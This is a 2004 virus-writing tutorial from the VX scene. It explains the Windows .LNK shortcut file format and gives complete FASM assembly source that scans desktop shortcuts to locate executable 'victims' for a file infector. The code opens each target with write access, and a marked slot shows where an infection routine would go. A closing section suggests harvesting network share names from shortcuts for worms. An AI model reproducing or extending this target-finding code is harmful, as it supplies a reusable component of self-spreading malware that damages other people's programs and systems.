______________________________________________________________ | | | Capture the desktop - scan .LNK files for victims |# | ************************************************* |# | |# | by DiA/rrlf (c)2004 |# | www.vx-dia.de.vu :: DiA_hates_machine@gmx.de |# |______________________________________________________________|# ############################################################### _Overview___________________________________ | | | 1. Intro |# | 2. LNK format |# | 3. How to get linked file, theory. |# | 4. How to get linked file, listing. |# | 5. How to get linked file, code. |# | 6. Play more with LNK files |# | 7. Outro |# |____________________________________________|# ############################################# Disclaimer ========== I am not responsible for anything that you do. If you use or rewrite this code you and only you are responsible for the things that you do. Take care! 1. Intro ======== Some people have a clean desktop other people have the total choas in the front of them. I speak about "Windows Shortcut Files" aka .LNK files. The shortcuts to applications, documents and other files. Most of the computer noobs use the desktop and the shortcuts very often, why not, the installation programs ask always to create a desktop shortcut. So this is a good way to find victims to infect (eg PE EXE files), if the shortcut file (.lnk) knows where the linked application or document is, we know it too (or must scan the .lnk file to know it). So lets go, find .lnk files, scan it and lets extract the full path of linked file! Have much fun with this little article... Thanks to BlueOwl for testing and his help. 2. LNK format ============= This is only a quick overview of the .lnk file format, for more information please read "The Windows Shortcut File Format as reverse-engineered by Jesse Hager". This is in my opinion the best document about .lnk files over the web. Overview: ********************************************************* Section | Size (hex) **********************|********************************** File Header | 4Ch ----------------------|---------------------------------- Shell Item ID List | ??h ;??h means that it doesn't have a static size ----------------------|---------------------------------- File Location Info | 22h ----------------------|---------------------------------- Local Volume Table | 10h + Volume Label (ASCIZ) ----------------------|---------------------------------- Network Volume Table | 14h + Network share name (ASCIZ) ----------------------|---------------------------------- Description String | ??h ----------------------|---------------------------------- Relative Path String | ??h ----------------------|---------------------------------- Working Directory | ??h ----------------------|---------------------------------- Commandline String | ??h ----------------------|---------------------------------- Icon Filename String | ??h ----------------------|---------------------------------- Extra stuff | ??h ********************************************************* File Header: ********************************************************* Offset | Size | Contents *******|*********|*************************************** 00h | 1 dword | 0000004Ch "L" identifies the .lnk file -------|---------|--------------------------------------- 04h | 16 byte | GUID of shortcut file -------|---------|--------------------------------------- 14h | 1 dword | Flags -------|---------|--------------------------------------- 18h | 1 dword | File Attributes -------|---------|--------------------------------------- 1Ch | 1 qword | Time 1 -------|---------|--------------------------------------- 24h | 1 qword | Time 2 -------|---------|--------------------------------------- 2Ch | 1 qword | Time 3 -------|---------|--------------------------------------- 34h | 1 dword | File Length -------|---------|--------------------------------------- 38h | 1 dword | Icon Number -------|---------|--------------------------------------- 3Ch | 1 dword | ShowWnd Value -------|---------|--------------------------------------- 40h | 1 dword | Hot Key -------|---------|--------------------------------------- 44h | 2 dword | Unknown, always Zero ********************************************************* Shell Item ID List: The Shell Item List section has no static size, it is variable. But thats not a hard problem, because first unsigned short integer (at 4Ch from file begin) indicates the total length of the whole Item List. We only have to read the size, and then add this size to 4Ch, then we are at "File Location Info" section. File Location Info: ********************************************************* Offset | Size | Contents *******|*********|*************************************** 00h | 1 dword | Total length of the structure -------|---------|--------------------------------------- 04h | 1 dword | Pointer to first offset at 1Ch -------|---------|--------------------------------------- 08h | 1 dword | Flags -------|---------|--------------------------------------- 0Ch | 1 dword | Offset of Local Volume Info -------|---------|--------------------------------------- 10h | 1 dword | Offset of Base Pathname (local) -------|---------|--------------------------------------- 14h | 1 dword | Offset of Network Volume Info -------|---------|--------------------------------------- 18h | 1 dword | Offset of Remaining Pathname ********************************************************* Local Volume Table: ********************************************************* Offset | Size | Contents *******|*********|*************************************** 00h | 1 dword | Length of the structure -------|---------|--------------------------------------- 04h | 1 dword | Type of Volume -------|---------|--------------------------------------- 08h | 1 dword | Volume Serial Number -------|---------|--------------------------------------- 0Ch | 1 dword | Offset of the Volume Name (10h) -------|---------|--------------------------------------- 10h | ASCIZ | Volume Label !!this is what we want!! ********************************************************* Network Volume Table: ********************************************************* Offset | Size | Contents *******|*********|*************************************** 00h | 1 dword | Length of the structure -------|---------|--------------------------------------- 04h | 1 dword | Unknown, always 02h?! -------|---------|--------------------------------------- 08h | 1 dword | Offset of the Network Share Name (14h) -------|---------|--------------------------------------- 0Ch | 1 dword | Unknown, always Zero? -------|---------|--------------------------------------- 10h | 1 dword | Unknown, always 20000h? -------|---------|--------------------------------------- 14h | ASCIZ | Network Share Name ********************************************************* Description String, Relative Path String, Working Directory, Commandline String, Icon Filename String and Extra stuff section are uninteresting for this tutorial. For better description read the article I recommend. I think Working Directory and Commandline String are interesting things for finding victims. But thats another story... 3. How to get linked file, theory. ================================== OK, now we know how the .lnk file is build. What we want is the "Volume Label" in the "Local Volume Table" section. But one (not big) problem, it have no static offset, because "Shell Item ID List" section size is variable. We have to read the size of this structure and add it to the "File Header" section, then we are at the "File Location Info" section. From this place it's not hard to get offset of "Volume Label". For better description a little graphik: ***************************** | File Begin 00h | ***************************** + ***************************** | File Header 4Ch | ***************************** = ***************************** | offset Shell Item ID List | ***************************** Now we have the offset to the "Shell Item ID List". First unsigned short integer indicates the size of this section. We read the size, now in this graphik called "ItemSize" (eg F5h or something). Go on: ***************************** | File Begin 00h | ***************************** + ***************************** | File Header 4Ch | ***************************** + ***************************** | ItemSize F5h | ***************************** = ***************************** | offset File Location Info | ***************************** Wow, we have the offset to the "File Location Info" section, now its not a hard way to get "Volume Label" (linked file). "File Location Info" and "Local Volume Table" have a static size. Appending to the "Local Volume Table" there is the string to the linked file ending with a zero. So lets get the offset of the first character at this string: ***************************** | File Begin 00h | ***************************** + ***************************** | File Header 4Ch | ***************************** + ***************************** | ItemSize F5h | ***************************** + ***************************** | File Location Info 22h | ***************************** + ***************************** | Local Volume Table 10h | ***************************** = ***************************** | offset to Volume Label | ***************************** Now we have the offset to our string. It is ASCIZero, so we only have to check byte by byte for an zero. If byte is a zero we have end of string, and as result the full path to the linked application. Good job, theoretical. :) Let's see listing and code... 4. How to get linked file, listing. =================================== Here is the "to do" list for scanning .lnk files on the desktop for victims: 1. Read desktop path from the registry 2. Check if path string is valid, if not make it valid 3. Change current directory to the desktop path 4. Find first .lnk file 5. No more files? then go to 17. 6. Map .lnk file to handle with it 7. Check if .lnk file is valid (first dword must be "L"000000h) 8. Get offset to "Shell Item ID List" section 9. Read size of the "Shell Item ID List" 10. Skip this section (File Header + Shell Item ID List size) 11. Get offset to "Volume Label" 12. Get end of the path string and copy the string 13. Check if extracted path is valid, if not goto 15. 14. Simple Messagebox (or infection routine :) 15. Unmap file, and close handles 16. Find next .lnk file, goto 5. 17. Exit 5. How to get linked file, code. ================================ ;==================================================================================== ; Example for scanning .lnk files for victims ; assemble it with FASM 1.56 (www.flatassembler.net) ; tested under WinXP SP1 ; ; coded by DiA/rrlf ; www.vx-dia.de.vu :: DiA_hates_machine@gmx.de ;==================================================================================== ; ;_____LNKscan.asm_____cut_____start__________________________________________________ include "%fasminc%\win32ax.inc" ;equates LNKscan: ;-----get desktop path from registry-------------------- invoke RegOpenKeyEx,\ ;open a reg key HKEY_CURRENT_USER,\ ;handle of the key DesktopSubkey,\ ;the subkey string 0,\ ;reserved KEY_ALL_ACCESS,\ ;security access mask RegHandle ;save here the handle cmp eax, 0 ;error? jnz ErrorMsg ;show error message invoke RegQueryValueEx,\ ;read a value dword [RegHandle],\ ;handle of open key DesktopValue,\ ;the value name "Desktop" 0,\ ;reserved Reg_SZ,\ ;we want a string DesktopPath,\ ;save here the desktop path DesktopSize ;size of reserved place cmp eax, 0 ;error? jnz ErrorMsg ;if so show a error message invoke RegCloseKey,\ ;we have the desktop path, close key dword [RegHandle] ;with the handle ;-----get desktop path from registry---end-------------- ;-----check if path is valid, if not make it valid------ mov edx, DesktopPath ;address of string GetZero: cmp byte [edx], 0 ;check for end of the string je GotZero ;we have the zero inc edx ;address + 1 jmp GetZero ;check next byte GotZero: dec edx ;address (,0) - 1 cmp byte [edx], "\" ;check for the slash je HaveSlash ;and dont place a slash inc edx ;jmp after last byte of the string mov byte [edx], "\" ;place the \ mov byte [edx + 1d], 0 ; "String",0 <- HaveSlash: ;-----check if path is valid, if not make it valid--end- ;-----change directory to desktop path------------------ invoke SetCurrentDirectory,\ ;change directory DesktopPath ;to the desktop path cmp eax, 0 ;error? je ErrorMsg ;no path, no victims ;-----change directory to desktop path---end------------ ;-----find first file in current directory-------------- invoke FindFirstFile,\ ;the well known api LnkFiles,\ ;search for *.lnk Win32FindData ;structure mov dword [FindHandle], eax ;save find handle FindMoreFiles: cmp eax, 0 ;error? no more files? je Exit ;exit the application ;-----find first file in current directory---end-------- ;-----map lnk file to handle with it-------------------- invoke CreateFile,\ ;open the file Win32FindData.cFileName,\ ;the lnk file GENERIC_READ + GENERIC_WRITE,\ ;read and write access FILE_SHARE_READ,\ ;open it when we can read 0,\ ;no security attributes OPEN_EXISTING,\ ;open only the file FILE_ATTRIBUTE_NORMAL,\ ;all attributes 0 ;no flag cmp eax, INVALID_HANDLE_VALUE ;error? je FindNextLNK ;find next lnk file mov dword [FileHandle], eax ;save file handle invoke CreateFileMapping,\ ;create the map dword [FileHandle],\ ;handle of file 0,\ ;no security attributes PAGE_READWRITE,\ ;read and write mapping 0,\ ;size high -> null 0,\ ;size low -> null = size of whole file 0 ;no mapping name cmp eax, 0 ;error?! je CloseFile ;close the file and search next mov dword [MapHandle], eax ;save mapping handle invoke MapViewOfFile,\ ;write map to address dword [MapHandle],\ ;handle of created map FILE_MAP_WRITE,\ ;read and write 0,\ ;high offset 0,\ ;low offset -> null, address is after call in eax 0 ;how much bytes should be mappep? 0-> all cmp eax, 0 ;error? je CloseMap ;if so close the map, search next file mov dword [MapAddress], eax ;save address in memory where file begins ;-----map lnk file to handle with it---end-------------- ;-----check if .lnk file is valid----------------------- mov esi, dword [MapAddress] ;filebegin now in esi cmp dword [esi], "L" ;first dword is a 4C000000h ? jne CloseMap ;close map, search more files ;-----check if .lnk file is valid---end----------------- ;-----get linked application---------------------------- add esi, 4Ch ;jump over header mov edi, ItemSize ;to copy size of Shell Item List movsb ;copy one byte, the size (esi->edi) JumpOverItem: cmp byte [ItemSize], 0d ;counter on zero? je JumpedOver ;then we jumped over the Shell Item List strcture inc esi ;address + 1 dec byte [ItemSize] ;counter - 1 jmp JumpOverItem ;next byte JumpedOver: add esi, 22h ;jump over FileLoationInfo add esi, 0Ch ;jump over Location Volume Table to the volume label (ASCIZ) mov edi, Victim ;destination is Victim (esi->edi) CopyVictimString: cmp byte [esi], 0 ;0 -> end of the string (ASCIZ[ero]) je HaveVictim ;time to infect :) movsb ;move one byte from esi to edi jmp CopyVictimString ;check again for end of string HaveVictim: mov dword [edi], 0 ;clear all after string ;-----get linked application---end---------------------- ;-----check if victim path is valid--------------------- mov edx, Victim ;get address cmp byte [edx + 1d], ":" ;check for the : (eg C:) jne CloseMap ;if not then close map, search next file GetVictimZero: cmp byte [edx], 0 ;check for end of string je HaveVictimZero ;we have it inc edx ;next byte jmp GetVictimZero ;search for zero HaveVictimZero: cmp byte [edx - 4d], "." ;check for dot (eg .exe) jne CloseMap ;search next ;-----check if victim path is valid---end--------------- ;******************************************************* ;*****HERE GO THE INFECTION***************************** ;******************************************************* invoke MessageBox,\ ;only show a messagebox that it works 0,\ ;now owner window Victim,\ ;show full path of victim Win32FindData.cFileName,\ ;caption: name of scanned .lnk file MB_ICONINFORMATION ;information 4 u ;******************************************************* ;*****HERE GO THE INFECTION***END*********************** ;******************************************************* ;-----unmap view of file-------------------------------- invoke UnmapViewOfFile,\ ;unmap the file dword [MapAddress] ;with the address ;-----unmap view of file---end-------------------------- ;-----close file and map handle------------------------- CloseMap: invoke CloseHandle,\ ;close dword [MapHandle] ;the map handle CloseFile: invoke CloseHandle,\ ;close the handle dword [FileHandle] ;file ;-----close file and map handle---end------------------- ;-----find next lnk file-------------------------------- FindNextLNK: invoke FindNextFile,\ ;next lnk file dword [FindHandle],\ ;via find handle Win32FindData ;and the structure jmp FindMoreFiles ;get more! ;-----find next lnk file---end-------------------------- ;-----get the hell out of here-------------------------- Exit: invoke ExitProcess,\ ;exit 0 ;current process ;-----get the hell out of here---end-------------------- ;-----error message------------------------------------- ErrorMsg: invoke MessageBox,\ ;shit, some error 0,\ ;no owner window "Sorry, can't set desktop directory!",\ ;text ".:: ERROR ::.",\ ;caption MB_ICONERROR ;scary error icon ;) jmp Exit ;get out of here ;-----error message---end------------------------------- ;-----data's-------------------------------------------- DesktopSubkey db "Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders",0 DesktopValue db "Desktop",0 DesktopPath rb 255d DesktopSize db 255d RegHandle dd ? Reg_SZ db "REG_SZ",0 Win32FindData FINDDATA ;already defined by fasm LnkFiles db "*.lnk",0 FindHandle dd ? FileHandle dd ? MapHandle dd ? MapAddress dd ? ItemSize db ? Victim rb 255d ;-----data's---end--------------------------------------- ;-----api's import, fasm will do------------------------- data import ;only one section, fasm will do it :) library kernel32, "KERNEL32.DLL",\ user32, "USER32.DLL",\ advapi32, "ADVAPI32.DLL" import kernel32,\ SetCurrentDirectory, "SetCurrentDirectoryA",\ FindFirstFile, "FindFirstFileA",\ FindNextFile, "FindNextFileA",\ CreateFile, "CreateFileA",\ CreateFileMapping, "CreateFileMappingA",\ MapViewOfFile, "MapViewOfFile",\ UnmapViewOfFile, "UnmapViewOfFile",\ CloseHandle, "CloseHandle",\ ExitProcess, "ExitProcess" import advapi32,\ RegOpenKeyEx, "RegOpenKeyExA",\ RegQueryValueEx, "RegQueryValueExA",\ RegCloseKey, "RegCloseKey" import user32,\ MessageBox, "MessageBoxA" end data ;-----api's import, fasm will do---end------------------- ;_____LNKscan.asm_____cut_____end____________________________________________________ 6. Play more with LNK files =========================== OK, now we have hopefully get the linked file. Another interesting thing (maybe for worms) in the .lnk file is the "Network Share Name" in the "Network Volume Table". Its not very different from reading the "Volume Label", we only have to get the size of the "Shell Item ID List" and the size of the "Volume Label". Then add it all to get the offset to the "Network Volume Table". For this I have make a little graphik too: ***************************** | File Begin 00h | ***************************** + ***************************** | File Header 4Ch | ***************************** + ***************************** | ItemSize F5h | ;size variable ***************************** + ***************************** | File Location Info 22h | ***************************** + ***************************** | Local Volume Table 10h | ***************************** + ***************************** | size of Volume Label 0A | ;size variable ***************************** + ***************************** | Network Volume Table 14h | ***************************** = ***************************** | offset Network Share Name | ***************************** So, you see it's not hard when we known size of "Shell Item ID List" and the size of the "Volume Label" string. "Network Share Name" is also ASCIZ, means that the zero is the end of the string. 7. Outro ======== Thats the end my friend, the end of this article. Hope you learned something, or get some inspiration for other projects. If you have questions, greets or fucks feel free to send me a mail to DiA_hates_machine@gmx.de or make a entry in my guestbook at http://www.vx-dia.de.vu ! See you... DiA/rrlf - 27.11.2004